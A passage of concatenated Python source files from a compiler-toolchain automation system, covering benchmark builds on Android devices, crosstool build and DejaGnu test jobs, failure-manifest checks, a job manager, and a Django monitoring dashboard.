build_cmd.append('-f=' + cflags[setting_no]) if ldflags: build_cmd.append('--ldflags=' + ldflags[setting_no]) logging.info('Building benchmark for toolchain setting No.%d...', setting_no) logging.info('Command: %s', build_cmd) try: subprocess.check_call(build_cmd) except: logging.error('Error while building benchmark!') raise def run_and_collect_result(test_cmd, setting_no, i, bench, serial='default'): # Run autotest script for benchmark on DUT check_call_with_log(test_cmd, 'test_log') logging.info('Benchmark with setting No.%d, iter.%d finished testing on ' 'device %s.', setting_no, i, serial) # Rename results from the bench_result generated in autotest bench_result = os.path.join(config.bench_suite_dir, 'bench_result') if not os.path.exists(bench_result): logging.error('No result found at %s, ' 'please check test_log for details.', bench_result) raise OSError('Result file %s not found.' % bench_result) new_bench_result = 'bench_result_%s_%s_%d_%d' % (bench, serial, setting_no, i) new_bench_result_path = os.path.join(config.bench_suite_dir, new_bench_result) try: os.rename(bench_result, new_bench_result_path) except OSError: logging.error('Error while renaming raw result %s to %s', bench_result, new_bench_result_path) raise logging.info('Benchmark result saved at %s.', new_bench_result_path) def test_bench(bench, setting_no, iterations, serials, remote, mode): logging.info('Start running benchmark on device...') # Run benchmark and tests on DUT for i in xrange(iterations): logging.info('Iteration No.%d:', i) test_cmd = [ os.path.join( os.path.join(config.android_home, config.autotest_dir), 'site_utils/test_bench.py') ] test_cmd.append('-b=' + bench) test_cmd.append('-r=' + remote) test_cmd.append('-m=' + mode) # Deal with serials. # If there is no serails specified, try to run test on the only device. # If specified, split the serials into a list and run test on each device. if serials: for serial in serials.split(','): test_cmd.append('-s=' + serial) run_and_collect_result(test_cmd, setting_no, i, bench, serial) test_cmd.pop() else: run_and_collect_result(test_cmd, setting_no, i, bench) def gen_json(bench, setting_no, iterations, serials): bench_result = os.path.join(config.bench_suite_dir, 'bench_result') logging.info('Generating JSON file for Crosperf...') if not serials: serials = 'default' for serial in serials.split(','): # Platform will be used as device lunch combo instead #experiment = '_'.join([serial, str(setting_no)]) experiment = config.product_combo # Input format: bench_result_{bench}_{serial}_{setting_no}_ input_file = '_'.join([bench_result, bench, serial, str(setting_no), '']) gen_json_cmd = [ './gen_json.py', '--input=' + input_file, '--output=%s.json' % os.path.join(config.bench_suite_dir, bench), '--bench=' + bench, '--platform=' + experiment, '--iterations=' + str(iterations) ] logging.info('Command: %s', gen_json_cmd) if subprocess.call(gen_json_cmd): logging.error('Error while generating JSON file, please check raw data' 'of the results at %s.', input_file) def gen_crosperf(infile, outfile): # Set environment variable for crosperf os.environ['PYTHONPATH'] = os.path.dirname(config.toolchain_utils) logging.info('Generating Crosperf Report...') crosperf_cmd = [ os.path.join(config.toolchain_utils, 'generate_report.py'), '-i=' + infile, '-o=' + outfile, '-f' ] # Run crosperf generate_report.py logging.info('Command: %s', crosperf_cmd) subprocess.call(crosperf_cmd) logging.info('Report generated successfully!') logging.info('Report Location: ' + outfile + '.html at bench' 'suite directory.') def main(argv): # Set environment variable for the local loacation of benchmark suite. # This is for collecting testing results to benchmark suite directory. os.environ['BENCH_SUITE_DIR'] = config.bench_suite_dir # Set Android type, used for the difference part between aosp and internal. os.environ['ANDROID_TYPE'] = config.android_type # Set ANDROID_HOME for both building and testing. os.environ['ANDROID_HOME'] = config.android_home # Set environment variable for architecture, this will be used in # autotest. os.environ['PRODUCT'] = config.product arguments = _parse_arguments(argv) bench_list = arguments.bench if not bench_list: bench_list = config.bench_list compiler = arguments.compiler_dir build_os = arguments.build_os llvm_version = arguments.llvm_prebuilts_version cflags = arguments.cflags ldflags = arguments.ldflags iterations = arguments.iterations serials = arguments.serials remote = arguments.remote frequency = arguments.frequency mode = arguments.mode keep = arguments.keep # Clear old logs every time before run script clear_logs() if keep == 'False': clear_results() # Set test mode and frequency of CPU on the DUT set_device(serials, remote, frequency) test = arguments.test # if test configuration file has been given, use the build settings # in the configuration file and run the test. if test: test_config = ConfigParser.ConfigParser(allow_no_value=True) if not test_config.read(test): logging.error('Error while reading from building ' 'configuration file %s.', test) raise RuntimeError('Error while reading configuration file %s.' % test) for setting_no, section in enumerate(test_config.sections()): bench = test_config.get(section, 'bench') compiler = [test_config.get(section, 'compiler')] build_os = [test_config.get(section, 'build_os')] llvm_version = [test_config.get(section, 'llvm_version')] cflags = [test_config.get(section, 'cflags')] ldflags = [test_config.get(section, 'ldflags')] # Set iterations from test_config file, if not exist, use the one from # command line. it = test_config.get(section, 'iterations') if not it: it = iterations it = int(it) # Build benchmark for each single test configuration build_bench(0, bench, compiler, llvm_version, build_os, cflags, ldflags) test_bench(bench, setting_no, it, serials, remote, mode) gen_json(bench, setting_no, it, serials) for bench in config.bench_list: infile = os.path.join(config.bench_suite_dir, bench + '.json') if os.path.exists(infile): outfile = os.path.join(config.bench_suite_dir, bench + '_report') gen_crosperf(infile, outfile) # Stop script if there is only config file provided return 0 # If no configuration file specified, continue running. # Check if the count of the setting arguments are log_ambiguous. setting_count = check_count(compiler, llvm_version, build_os, cflags, ldflags) for bench in bench_list: logging.info('Start building and running benchmark: [%s]', bench) # Run script for each toolchain settings for setting_no in xrange(setting_count): build_bench(setting_no, bench, compiler, llvm_version, build_os, cflags, ldflags) # Run autotest script for benchmark test on device test_bench(bench, setting_no, iterations, serials, remote, mode) gen_json(bench, setting_no, iterations, serials) infile = os.path.join(config.bench_suite_dir, bench + '.json') outfile = os.path.join(config.bench_suite_dir, bench + '_report') gen_crosperf(infile, outfile) if __name__ == '__main__': main(sys.argv[1:]) ``` #### File: clients/helper/crosstool.py ```python __author__ = '<EMAIL> (<NAME>)' import os.path import time from automation.clients.helper import jobs from automation.clients.helper import perforce from automation.common import command as cmd from automation.common import job class JobsFactory(object): def __init__(self): self.commands = CommandsFactory() def CheckoutCrosstool(self, target): command = self.commands.CheckoutCrosstool() new_job = jobs.CreateLinuxJob('CheckoutCrosstool(%s)' % target, command) checkout_dir_dep = job.FolderDependency(new_job, CommandsFactory.CHECKOUT_DIR) manifests_dir_dep = job.FolderDependency( new_job, os.path.join(self.commands.buildit_path, target), 'manifests') return new_job, checkout_dir_dep, manifests_dir_dep def BuildRelease(self, checkout_dir, target): command = self.commands.BuildRelease(target) new_job = jobs.CreateLinuxJob('BuildRelease(%s)' % target, command) new_job.DependsOnFolder(checkout_dir) build_tree_dep = job.FolderDependency(new_job, self.commands.buildit_work_dir_path) return new_job, build_tree_dep def RunTests(self, checkout_dir, build_tree_dir, target, board, component): command = self.commands.RunTests(target, board, component) new_job = jobs.CreateLinuxJob('RunTests(%s, %s, %s)' % (target, component, board), command) new_job.DependsOnFolder(checkout_dir) new_job.DependsOnFolder(build_tree_dir) testrun_dir_dep = job.FolderDependency( new_job, self.commands.dejagnu_output_path, board) return new_job, testrun_dir_dep def GenerateReport(self, testrun_dirs, manifests_dir, target, boards): command = self.commands.GenerateReport(boards) new_job = jobs.CreateLinuxJob('GenerateReport(%s)' % target, command) new_job.DependsOnFolder(manifests_dir) for testrun_dir in testrun_dirs: new_job.DependsOnFolder(testrun_dir) return new_job class CommandsFactory(object): CHECKOUT_DIR = 'crosstool-checkout-dir' def __init__(self): self.buildit_path = os.path.join(self.CHECKOUT_DIR, 'gcctools', 'crosstool', 'v15') self.buildit_work_dir = 'buildit-tmp' self.buildit_work_dir_path = os.path.join('$JOB_TMP', self.buildit_work_dir) self.dejagnu_output_path = os.path.join(self.buildit_work_dir_path, 'dejagnu-output') paths = { 'gcctools': [ 'crosstool/v15/...', 'scripts/...' ], 'gcctools/google_vendor_src_branch': [ 'binutils/binutils-2.21/...', 'gdb/gdb-7.2.x/...', 'zlib/zlib-1.2.3/...' ], 'gcctools/vendor_src': [ 'gcc/google/gcc-4_6/...' ] } p4view = perforce.View('depot2', perforce.PathMapping.ListFromPathDict(paths)) self.p4client = perforce.CommandsFactory(self.CHECKOUT_DIR, p4view) def CheckoutCrosstool(self): p4client = self.p4client return p4client.SetupAndDo(p4client.Sync(), p4client.SaveCurrentCLNumber('CLNUM'), p4client.Remove()) def BuildRelease(self, target): clnum_path = os.path.join('$JOB_TMP', self.CHECKOUT_DIR, 'CLNUM') toolchain_root = os.path.join('/google/data/rw/projects/toolchains', target, 'unstable') toolchain_path = os.path.join(toolchain_root, '${CLNUM}') build_toolchain = cmd.Wrapper( cmd.Chain( cmd.MakeDir(toolchain_path), cmd.Shell('buildit', '--keep-work-dir', '--build-type=release', '--work-dir=%s' % self.buildit_work_dir_path, '--results-dir=%s' % toolchain_path, '--force-release=%s' % '${CLNUM}', target, path='.')), cwd=self.buildit_path, umask='0022', env={'CLNUM': '$(< %s)' % clnum_path}) # remove all but 10 most recent directories remove_old_toolchains_from_x20 = cmd.Wrapper( cmd.Pipe( cmd.Shell('ls', '-1', '-r'), cmd.Shell('sed', '-e', '1,10d'), cmd.Shell('xargs', 'rm', '-r', '-f')), cwd=toolchain_root) return cmd.Chain(build_toolchain, remove_old_toolchains_from_x20) def RunTests(self, target, board, component='gcc'): dejagnu_flags = ['--outdir=%s' % self.dejagnu_output_path, '--target_board=%s' % board] # Look for {pandaboard,qemu}.exp files in # //depot/google3/experimental/users/kbaclawski/dejagnu/boards site_exp_file = os.path.join('/google/src/head/depot/google3', 'experimental/users/kbaclawski', 'dejagnu/site.exp') build_dir_path = os.path.join(target, 'rpmbuild/BUILD/crosstool*-0.0', 'build-%s' % component) run_dejagnu = cmd.Wrapper( cmd.Chain( cmd.MakeDir(self.dejagnu_output_path), cmd.Shell('make', 'check', '-k', '-j $(grep -c processor /proc/cpuinfo)', 'RUNTESTFLAGS="%s"' % ' '.join(dejagnu_flags), 'DEJAGNU="%s"' % site_exp_file, ignore_error=True)), cwd=os.path.join(self.buildit_work_dir_path, build_dir_path), env={'REMOTE_TMPDIR': 'job-$JOB_ID'}) save_results = cmd.Copy(self.dejagnu_output_path, to_dir='$JOB_TMP/results', recursive=True) return cmd.Chain(run_dejagnu, save_results) def GenerateReport(self, boards): sumfiles = [os.path.join('$JOB_TMP', board, '*.sum') for board in boards] return cmd.Wrapper( cmd.Shell('dejagnu.sh', 'report', '-m', '$JOB_TMP/manifests/*.xfail', '-o', '$JOB_TMP/results/report.html', *sumfiles, path='.'), cwd='$HOME/automation/clients/report') ``` #### File: automation/clients/nightly.py ```python import optparse import pickle import sys import xmlrpclib from automation.clients.helper import chromeos from automation.common import job_group def Main(argv): parser = optparse.OptionParser() parser.add_option('-c', '--chromeos_version', dest='chromeos_version', default='quarterly', help='ChromeOS version to use.') parser.add_option('-t', '--toolchain', dest='toolchain', default='latest-toolchain', help='Toolchain to use {latest-toolchain,gcc_46}.') parser.add_option('-b', '--board', dest='board', default='x86-generic', help='Board to use for the nightly job.') options = parser.parse_args(argv)[0] toolchain = options.toolchain board = options.board chromeos_version = options.chromeos_version # Build toolchain jobs_factory = chromeos.JobsFactory(chromeos_version=chromeos_version, board=board, toolchain=toolchain) benchmark_job = jobs_factory.BuildAndBenchmark() group_label = 'nightly_client_%s' % board group = job_group.JobGroup(group_label, [benchmark_job], True, False) server = xmlrpclib.Server('http://localhost:8000') server.ExecuteJobGroup(pickle.dumps(group)) if __name__ == '__main__': Main(sys.argv) ``` #### File: clients/report/validate_failures.py ```python import optparse import logging import os import sys sys.path.append(os.path.dirname(os.path.abspath(__file__))) from dejagnu.manifest import Manifest from dejagnu.summary import DejaGnuTestResult from dejagnu.summary import DejaGnuTestRun # Pattern for naming manifest files. The first argument should be # the toplevel GCC source directory. The second argument is the # target triple used during the build. _MANIFEST_PATH_PATTERN = '%s/contrib/testsuite-management/%s.xfail' def GetMakefileVars(makefile_path): assert os.path.exists(makefile_path) with open(makefile_path) as lines: kvs = [line.split('=', 1) for line in lines if '=' in line] return dict((k.strip(), v.strip()) for k, v in kvs) def GetSumFiles(build_dir): summaries = [] for root, _, filenames in os.walk(build_dir): summaries.extend([os.path.join(root, filename) for filename in filenames if filename.endswith('.sum')]) return map(os.path.normpath, summaries) def ValidBuildDirectory(build_dir, target): mandatory_paths = [build_dir, os.path.join(build_dir, 'Makefile')] extra_paths = [os.path.join(build_dir, target), os.path.join(build_dir, 'build-%s' % target)] return (all(map(os.path.exists, mandatory_paths)) and any(map(os.path.exists, extra_paths))) def GetManifestPath(build_dir): makefile = GetMakefileVars(os.path.join(build_dir, 'Makefile')) srcdir = makefile['srcdir'] target = makefile['target'] if not ValidBuildDirectory(build_dir, target): target = makefile['target_alias'] if not ValidBuildDirectory(build_dir, target): logging.error('%s is not a valid GCC top level build directory.', build_dir) sys.exit(1) logging.info('Discovered source directory: "%s"', srcdir) logging.info('Discovered build target: "%s"', target) return _MANIFEST_PATH_PATTERN % (srcdir, target) def CompareResults(manifest, actual): """Compare sets of results and return two lists: - List of results present in MANIFEST but missing from ACTUAL. - List of results present in ACTUAL but missing from MANIFEST. """ # Report all the actual results not present in the manifest. actual_vs_manifest = actual - manifest # Filter out tests marked flaky. manifest_without_flaky_tests = set(filter(lambda result: not result.flaky, manifest)) # Simlarly for all the tests in the manifest. manifest_vs_actual = manifest_without_flaky_tests - actual return actual_vs_manifest, manifest_vs_actual def LogResults(level, results): log_fun = getattr(logging, level) for num, result in enumerate(sorted(results), start=1): log_fun(' %d) %s', num, result) def CheckExpectedResults(manifest_path, build_dir): logging.info('Reading manifest file: "%s"', manifest_path) manifest = set(Manifest.FromFile(manifest_path)) logging.info('Getting actual results from build directory: "%s"', os.path.realpath(build_dir)) summaries = GetSumFiles(build_dir) actual = set() for summary in summaries: test_run = DejaGnuTestRun.FromFile(summary) failures = set(Manifest.FromDejaGnuTestRun(test_run)) actual.update(failures) if manifest: logging.debug('Tests expected to fail:') LogResults('debug', manifest) if actual: logging.debug('Actual test failures:') LogResults('debug', actual) actual_vs_manifest, manifest_vs_actual = CompareResults(manifest, actual) if actual_vs_manifest: logging.info('Build results not in the manifest:') LogResults('info', actual_vs_manifest) if manifest_vs_actual: logging.info('Manifest results not present in the build:') LogResults('info', manifest_vs_actual) logging.info('NOTE: This is not a failure! ', 'It just means that the manifest expected these tests to ' 'fail, but they worked in this configuration.') if actual_vs_manifest or manifest_vs_actual: sys.exit(1) logging.info('No unexpected failures.') def ProduceManifest(manifest_path, build_dir, overwrite): if os.path.exists(manifest_path) and not overwrite: logging.error('Manifest file "%s" already exists.', manifest_path) logging.error('Use --force to overwrite.') sys.exit(1) testruns = map(DejaGnuTestRun.FromFile, GetSumFiles(build_dir)) manifests = map(Manifest.FromDejaGnuTestRun, testruns) with open(manifest_path, 'w') as manifest_file: manifest_strings = [manifest.Generate() for manifest in manifests] logging.info('Writing manifest to "%s".', manifest_path) manifest_file.write('\n'.join(manifest_strings)) def Main(argv): parser = optparse.OptionParser(usage=__doc__) parser.add_option( '-b', '--build_dir', dest='build_dir', action='store', metavar='PATH', default=os.getcwd(), help='Build directory to check. (default: current directory)') parser.add_option('-m', '--manifest', dest='manifest', action='store_true', help='Produce the manifest for the current build.') parser.add_option( '-f', '--force', dest='force', action='store_true', help=('Overwrite an existing manifest file, if user requested creating ' 'new one. (default: False)')) parser.add_option('-v', '--verbose', dest='verbose', action='store_true', help='Increase verbosity.') options, _ = parser.parse_args(argv[1:]) if options.verbose: logging.root.setLevel(logging.DEBUG) manifest_path = GetManifestPath(options.build_dir) if options.manifest: ProduceManifest(manifest_path, options.build_dir, options.force) else: CheckExpectedResults(manifest_path, options.build_dir) if __name__ == '__main__': logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.INFO) Main(sys.argv) ``` #### File: automation/common/command_executer_test.py ```python __author__ = '<EMAIL> (<NAME>)' import cStringIO import logging import os import signal import socket import sys import time import unittest def AddScriptDirToPath(): """Required for remote python script execution.""" path = os.path.abspath(__file__) for _ in range(3): path, _ = os.path.split(path) if not path in sys.path: sys.path.append(path) AddScriptDirToPath() from automation.common.command_executer import CommandExecuter class LoggerMock(object): def LogCmd(self, cmd, machine='', user=''): if machine: logging.info('[%s] Executing: %s', machine, cmd) else: logging.info('Executing: %s', cmd) def LogError(self, msg): logging.error(msg) def LogWarning(self, msg): logging.warning(msg) def LogOutput(self, msg): logging.info(msg) class CommandExecuterUnderTest(CommandExecuter): def __init__(self): CommandExecuter.__init__(self, logger_to_set=LoggerMock()) # We will record stdout and stderr. self._stderr = cStringIO.StringIO() self._stdout = cStringIO.StringIO() @property def stdout(self): return self._stdout.getvalue() @property def stderr(self): return self._stderr.getvalue() def DataReceivedOnOutput(self, data): self._stdout.write(data) def DataReceivedOnError(self, data): self._stderr.write(data) class CommandExecuterLocalTests(unittest.TestCase): HOSTNAME = None def setUp(self): self._executer = CommandExecuterUnderTest() def tearDown(self): pass def RunCommand(self, method, **kwargs): program = os.path.abspath(sys.argv[0]) return self._executer.RunCommand('%s runHelper %s' % (program, method), machine=self.HOSTNAME, **kwargs) def testCommandTimeout(self): exit_code = self.RunCommand('SleepForMinute', command_timeout=3) self.assertTrue(-exit_code in [signal.SIGTERM, signal.SIGKILL], 'Invalid exit code: %d' % exit_code) def testCommandTimeoutIfSigTermIgnored(self): exit_code = self.RunCommand('IgnoreSigTerm', command_timeout=3) self.assertTrue(-exit_code in [signal.SIGTERM, signal.SIGKILL]) def testCommandSucceeded(self): self.assertFalse(self.RunCommand('ReturnTrue')) def testCommandFailed(self): self.assertTrue(self.RunCommand('ReturnFalse')) def testStringOnOutputStream(self): self.assertFalse(self.RunCommand('EchoToOutputStream')) self.assertEquals(self._executer.stderr, '') self.assertEquals(self._executer.stdout, 'test') def testStringOnErrorStream(self): self.assertFalse(self.RunCommand('EchoToErrorStream')) self.assertEquals(self._executer.stderr, 'test') self.assertEquals(self._executer.stdout, '') def testOutputStreamNonInteractive(self): self.assertFalse( self.RunCommand('IsOutputStreamInteractive'), 'stdout stream is a terminal!') def testErrorStreamNonInteractive(self): self.assertFalse( self.RunCommand('IsErrorStreamInteractive'), 'stderr stream is a terminal!') def testAttemptToRead(self): self.assertFalse(self.RunCommand('WaitForInput', command_timeout=3)) def testInterruptedProcess(self): self.assertEquals(self.RunCommand('TerminateBySigAbrt'), -signal.SIGABRT) class CommandExecuterRemoteTests(CommandExecuterLocalTests): HOSTNAME = socket.gethostname() def testCommandTimeoutIfSigTermIgnored(self): exit_code = self.RunCommand('IgnoreSigTerm', command_timeout=6) self.assertEquals(exit_code, 255) lines = self._executer.stdout.splitlines() pid = int(lines[0]) try: with open('/proc/%d/cmdline' % pid) as f: cmdline = f.read() except IOError: cmdline = '' self.assertFalse('IgnoreSigTerm' in cmdline, 'Process is still alive.') class CommandExecuterTestHelpers(object): def SleepForMinute(self): time.sleep(60) return 1 def ReturnTrue(self): return 0 def ReturnFalse(self): return 1 def EchoToOutputStream(self): sys.stdout.write('test') return 0 def EchoToErrorStream(self): sys.stderr.write('test') return 0 def IsOutputStreamInteractive(self): return sys.stdout.isatty() def IsErrorStreamInteractive(self): return sys.stderr.isatty() def IgnoreSigTerm(self): os.write(1, '%d' % os.getpid()) signal.signal(signal.SIGTERM, signal.SIG_IGN) time.sleep(30) return 0 def WaitForInput(self): try: # can only read end-of-file marker return os.read(0, 1) != '' except OSError: # that means that stdin descriptor is closed return 0 def TerminateBySigAbrt(self): os.kill(os.getpid(), signal.SIGABRT) return 0 if __name__ == '__main__': FORMAT = '%(asctime)-15s %(levelname)s %(message)s' logging.basicConfig(format=FORMAT, level=logging.DEBUG) if len(sys.argv) > 1: if sys.argv[1] == 'runHelper': helpers = CommandExecuterTestHelpers() sys.exit(getattr(helpers, sys.argv[2])()) unittest.main() ``` #### File: automation/common/job_group.py ```python import getpass import os from automation.common.state_machine import BasicStateMachine STATUS_NOT_EXECUTED = 'NOT_EXECUTED' STATUS_EXECUTING = 'EXECUTING' STATUS_SUCCEEDED = 'SUCCEEDED' STATUS_FAILED = 'FAILED' class JobGroupStateMachine(BasicStateMachine): state_machine = { STATUS_NOT_EXECUTED: [STATUS_EXECUTING], STATUS_EXECUTING: [STATUS_SUCCEEDED, STATUS_FAILED] } final_states = [STATUS_SUCCEEDED, STATUS_FAILED] class JobGroup(object): HOMEDIR_PREFIX = os.path.join('/home', getpass.getuser(), 'www', 'automation') def __init__(self, label, jobs=None, cleanup_on_completion=True, cleanup_on_failure=False, description=''): self._state = JobGroupStateMachine(STATUS_NOT_EXECUTED) self.id = 0 self.label = label self.jobs = [] self.cleanup_on_completion = cleanup_on_completion self.cleanup_on_failure = cleanup_on_failure self.description = description if jobs: for job in jobs: self.AddJob(job) def _StateGet(self): return self._state def _StateSet(self, new_state): self._state.Change(new_state) status = property(_StateGet, _StateSet) @property def home_dir(self): return os.path.join(self.HOMEDIR_PREFIX, 'job-group-%d' % self.id) @property def time_submitted(self): try: return self.status.timeline[1].time_started except IndexError: return None def __repr__(self): return '{%s: %s}' % (self.__class__.__name__, self.id) def __str__(self): return '\n'.join(['Job-Group:', 'ID: %s' % self.id] + [str( job) for job in self.jobs]) def AddJob(self, job): self.jobs.append(job) job.group = self ``` #### File: automation/common/machine.py ```python __author__ = '<EMAIL> (<NAME>)' from fnmatch import fnmatch class Machine(object): """Stores information related to machine and its state.""" def __init__(self, hostname, label, cpu, cores, os, username): self.hostname = hostname self.label = label self.cpu = cpu self.cores = cores self.os = os self.username = username # MachineManager related attributes. self.uses = 0 self.locked = False def Acquire(self, exclusively): assert not self.locked if exclusively: self.locked = True self.uses += 1 def Release(self): assert self.uses > 0 self.uses -= 1 if not self.uses: self.locked = False def __repr__(self): return '{%s: %s@%s}' % (self.__class__.__name__, self.username, self.hostname) def __str__(self): return '\n'.join( ['Machine Information:', 'Hostname: %s' % self.hostname, 'Label: %s' % self.label, 'CPU: %s' % self.cpu, 'Cores: %d' % self.cores, 'OS: %s' % self.os, 'Uses: %d' % self.uses, 'Locked: %s' % self.locked]) class MachineSpecification(object): """Helper class used to find a machine matching your requirements.""" def __init__(self, hostname='*', label='*', os='*', lock_required=False): self.hostname = hostname self.label = label self.os = os self.lock_required = lock_required self.preferred_machines = [] def __str__(self): return '\n'.join(['Machine Specification:', 'Name: %s' % self.name, 'OS: %s' % self.os, 'Lock required: %s' % self.lock_required]) def IsMatch(self, machine): return all([not machine.locked, fnmatch(machine.hostname, self.hostname), fnmatch(machine.label, self.label), fnmatch(machine.os, self.os)]) def AddPreferredMachine(self, hostname): if hostname not in self.preferred_machines: self.preferred_machines.append(hostname) ``` #### File: automation/server/job_manager.py ```python import logging import os import re import threading from automation.common import job from automation.common import logger from automation.server.job_executer import JobExecuter class IdProducerPolicy(object): """Produces series of unique integer IDs. Example: id_producer = IdProducerPolicy() id_a = id_producer.GetNextId() id_b = id_producer.GetNextId() assert id_a != id_b """ def __init__(self): self._counter = 1 def Initialize(self, home_prefix, home_pattern): """Find first available ID based on a directory listing. Args: home_prefix: A directory to be traversed. home_pattern: A regexp describing all files/directories that will be considered. The regexp must contain exactly one match group with name "id", which must match an integer number. Example: id_producer.Initialize(JOBDIR_PREFIX, 'job-(?P<id>\d+)') """ harvested_ids = [] if os.path.isdir(home_prefix): for filename in os.listdir(home_prefix): path = os.path.join(home_prefix, filename) if os.path.isdir(path): match = re.match(home_pattern, filename) if match: harvested_ids.append(int(match.group('id'))) self._counter = max(harvested_ids or [0]) + 1 def GetNextId(self): """Calculates another ID considered to be unique.""" new_id = self._counter self._counter += 1 return new_id class JobManager(threading.Thread): def __init__(self, machine_manager): threading.Thread.__init__(self, name=self.__class__.__name__) self.all_jobs = [] self.ready_jobs = [] self.job_executer_mapping = {} self.machine_manager = machine_manager self._lock = threading.Lock() self._jobs_available = threading.Condition(self._lock) self._exit_request = False self.listeners = [] self.listeners.append(self) self._id_producer = IdProducerPolicy() self._id_producer.Initialize(job.Job.WORKDIR_PREFIX, 'job-(?P<id>\d+)') self._logger = logging.getLogger(self.__class__.__name__) def StartJobManager(self): self._logger.info('Starting...') with self._lock: self.start() self._jobs_available.notifyAll() def StopJobManager(self): self._logger.info('Shutdown request received.') with self._lock: for job_ in self.all_jobs: self._KillJob(job_.id) # Signal to die self._exit_request = True self._jobs_available.notifyAll() # Wait for all job threads to finish for executer in self.job_executer_mapping.values(): executer.join() def KillJob(self, job_id): """Kill a job by id. Does not block until the job is completed. """ with self._lock: self._KillJob(job_id) def GetJob(self, job_id): for job_ in self.all_jobs: if job_.id == job_id: return job_ return None def _KillJob(self, job_id): self._logger.info('Killing [Job: %d].', job_id) if job_id in self.job_executer_mapping: self.job_executer_mapping[job_id].Kill() for job_ in self.ready_jobs: if job_.id == job_id: self.ready_jobs.remove(job_) break def AddJob(self, job_): with self._lock: job_.id = self._id_producer.GetNextId() self.all_jobs.append(job_) # Only queue a job as ready if it has no dependencies if job_.is_ready: self.ready_jobs.append(job_) self._jobs_available.notifyAll() return job_.id def CleanUpJob(self, job_): with self._lock: if job_.id in self.job_executer_mapping: self.job_executer_mapping[job_.id].CleanUpWorkDir() del self.job_executer_mapping[job_.id] # TODO(raymes): remove job from self.all_jobs def NotifyJobComplete(self, job_): self.machine_manager.ReturnMachines(job_.machines) with self._lock: self._logger.debug('Handling %r completion event.', job_) if job_.status == job.STATUS_SUCCEEDED: for succ in job_.successors: if succ.is_ready: if succ not in self.ready_jobs: self.ready_jobs.append(succ) self._jobs_available.notifyAll() def AddListener(self, listener): self.listeners.append(listener) @logger.HandleUncaughtExceptions def run(self): self._logger.info('Started.') while not self._exit_request: with self._lock: # Get the next ready job, block if there are none self._jobs_available.wait() while self.ready_jobs: ready_job = self.ready_jobs.pop() required_machines = ready_job.machine_dependencies for pred in ready_job.predecessors: required_machines[0].AddPreferredMachine( pred.primary_machine.hostname) machines = self.machine_manager.GetMachines(required_machines) if not machines: # If we can't get the necessary machines right now, simply wait # for some jobs to complete self.ready_jobs.insert(0, ready_job) break else: # Mark as executing executer = JobExecuter(ready_job, machines, self.listeners) executer.start() self.job_executer_mapping[ready_job.id] = executer self._logger.info('Stopped.') ``` #### File: automation/server/machine_manager_test.py ```python __author__ = '<EMAIL> (<NAME>)' import unittest from automation.common import machine from automation.server import machine_manager class MachineManagerTest(unittest.TestCase): def setUp(self): self.machine_manager = machine_manager.MachineManager() def testPrint(self): print self.machine_manager def testGetLinuxBox(self): mach_spec_list = [machine.MachineSpecification(os='linux')] machines = self.machine_manager.GetMachines(mach_spec_list) self.assertTrue(machines) def testGetChromeOSBox(self): mach_spec_list = [machine.MachineSpecification(os='chromeos')] machines = self.machine_manager.GetMachines(mach_spec_list) self.assertTrue(machines) if __name__ == '__main__': unittest.main() ``` #### File: server/monitor/dashboard.py ```python __author__ = '<EMAIL> (<NAME>)' from collections import namedtuple import glob import gzip import os.path import pickle import time import xmlrpclib from django import forms from django.http import HttpResponseRedirect from django.shortcuts import render_to_response from django.template import Context from django.views import static Link = namedtuple('Link', 'href name') def GetServerConnection(): return xmlrpclib.Server('http://localhost:8000') def MakeDefaultContext(*args): context = Context({'links': [ Link('/job-group', 'Job Groups'), Link('/machine', 'Machines') ]}) for arg in args: context.update(arg) return context class JobInfo(object): def __init__(self, job_id): self._job = pickle.loads(GetServerConnection().GetJob(job_id)) def GetAttributes(self): job = self._job group = [Link('/job-group/%d' % job.group.id, job.group.label)] predecessors = [Link('/job/%d' % pred.id, pred.label) for pred in job.predecessors] successors = [Link('/job/%d' % succ.id, succ.label) for succ in job.successors] machines = [Link('/machine/%s' % mach.hostname, mach.hostname) for mach in job.machines] logs = [Link('/job/%d/log' % job.id, 'Log')] commands = enumerate(job.PrettyFormatCommand().split('\n'), start=1) return {'text': [('Label', job.label), ('Directory', job.work_dir)], 'link': [('Group', group), ('Predecessors', predecessors), ('Successors', successors), ('Machines', machines), ('Logs', logs)], 'code': [('Command', commands)]} def GetTimeline(self): return [{'started': evlog.GetTimeStartedFormatted(), 'state_from': evlog.event.from_, 'state_to': evlog.event.to_, 'elapsed': evlog.GetTimeElapsedRounded()} for evlog in self._job.timeline.GetTransitionEventHistory()] def GetLog(self): log_path = os.path.join(self._job.logs_dir, '%s.gz' % self._job.log_filename_prefix) try: log = gzip.open(log_path, 'r') except IOError: content = [] else: # There's a good chance that file is not closed yet, so EOF handling # function and CRC calculation will fail, thus we need to monkey patch the # _read_eof method. log._read_eof = lambda: None def SplitLine(line): prefix, msg = line.split(': ', 1) datetime, stream = prefix.rsplit(' ', 1) return datetime, stream, msg content = map(SplitLine, log.readlines()) finally: log.close() return content class JobGroupInfo(object): def __init__(self, job_group_id): self._job_group = pickle.loads(GetServerConnection().GetJobGroup( job_group_id)) def GetAttributes(self): group = self._job_group home_dir = [Link('/job-group/%d/files/' % group.id, group.home_dir)] return {'text': [('Label', group.label), ('Time submitted', time.ctime(group.time_submitted)), ('State', group.status), ('Cleanup on completion', group.cleanup_on_completion), ('Cleanup on failure', group.cleanup_on_failure)], 'link': [('Directory', home_dir)]} def _GetJobStatus(self, job): status_map = {'SUCCEEDED': 'success', 'FAILED': 'failure'} return status_map.get(str(job.status), None) def GetJobList(self): return [{'id': job.id, 'label': job.label, 'state': job.status, 'status': self._GetJobStatus(job), 'elapsed': job.timeline.GetTotalTime()} for job in self._job_group.jobs] def GetHomeDirectory(self): return self._job_group.home_dir def GetReportList(self): job_dir_pattern = os.path.join(self._job_group.home_dir, 'job-*') filenames = [] for job_dir in glob.glob(job_dir_pattern): filename = os.path.join(job_dir, 'report.html') if os.access(filename, os.F_OK): filenames.append(filename) reports = [] for filename in sorted(filenames, key=lambda f: os.stat(f).st_ctime): try: with open(filename, 'r') as report: reports.append(report.read()) except IOError: pass return reports class JobGroupListInfo(object): def __init__(self): self._all_job_groups = pickle.loads(GetServerConnection().GetAllJobGroups()) def _GetJobGroupState(self, group): return str(group.status) def _GetJobGroupStatus(self, group): status_map = {'SUCCEEDED': 'success', 'FAILED': 'failure'} return status_map.get(self._GetJobGroupState(group), None) def GetList(self): return [{'id': group.id, 'label': group.label, 'submitted': time.ctime(group.time_submitted), 'state': self._GetJobGroupState(group), 'status': 